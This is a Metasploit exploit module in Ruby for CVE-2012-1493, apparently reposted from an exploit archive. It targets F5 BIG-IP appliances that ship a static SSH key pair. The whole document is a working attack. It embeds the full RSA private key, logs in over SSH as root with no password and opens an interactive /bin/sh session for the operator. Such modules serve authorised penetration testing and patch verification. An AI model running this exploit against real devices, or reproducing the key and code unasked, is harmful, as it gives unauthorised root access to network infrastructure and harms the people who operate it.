F5 BIG-IP SSH Private Key Exposure

`  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Auxiliary::Report  
  
  
def initialize(info = {})  
super(update_info(info, {  
'Name' => 'F5 BIG-IP SSH Private Key Exposure',  
'Version' => '$Revision$',  
'Description' => %q{  
F5 ships a public/private key pair on BIG-IP appliances that allows  
passwordless authentication to any other BIG-IP box. Since the key is  
easily retrievable, an attacker can use it to gain unauthorized remote  
access as root.  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Targets' => [ [ "Universal", {} ] ],  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find',  
},  
},  
'Author' => ['egypt'],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],  
[ 'CVE', '2012-1493' ],  
[ 'OSVDB', '82780' ]  
],  
'DisclosureDate' => "Jun 11 2012",  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },  
'DefaultTarget' => 0,  
}))  
  
register_options(  
[  
# Since we don't include Tcp, we have to register this manually  
Opt::RHOST(),  
Opt::RPORT(22),  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
  
end  
  
# helper methods that normally come from Tcp  
def rhost  
datastore['RHOST']  
end  
def rport  
datastore['RPORT']  
end  
  
def do_login(user)  
  
opt_hash = {  
:auth_methods => ['publickey'],  
:msframework => framework,  
:msfmodule => self,  
:port => rport,  
:key_data => [ key_data ],  
:disable_agent => true,  
:config => false,  
:record_auth_info => true  
}  
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
begin  
ssh_socket = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh_socket = Net::SSH.start(rhost, user, opt_hash)  
end  
rescue Rex::ConnectionError, Rex::AddressInUse  
return :connection_error  
rescue Net::SSH::Disconnect, ::EOFError  
return :connection_disconnect  
rescue ::Timeout::Error  
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"  
return :connection_disconnect  
rescue Net::SSH::AuthenticationFailed  
print_error "#{rhost}:#{rport} SSH - Failed authentication"  
rescue Net::SSH::Exception => e  
return [:fail,nil] # For whatever reason.  
end  
  
if ssh_socket  
  
# Create a new session from the socket, then dump it.  
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)  
ssh_socket = nil  
  
return conn  
else  
return false  
end  
end  
  
def exploit  
conn = do_login("root")  
if conn  
print_good "Successful login"  
handler(conn.lsock)  
else  
print_error "Login failed"  
end  
end  
  
  
def key_data  
<<EOF  
-----BEGIN RSA PRIVATE KEY-----  
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh  
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk  
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB  
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF  
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv  
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM  
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s  
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL  
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4  
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/  
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU  
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G  
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS  
-----END RSA PRIVATE KEY-----  
EOF  
end  
end  
  
  
`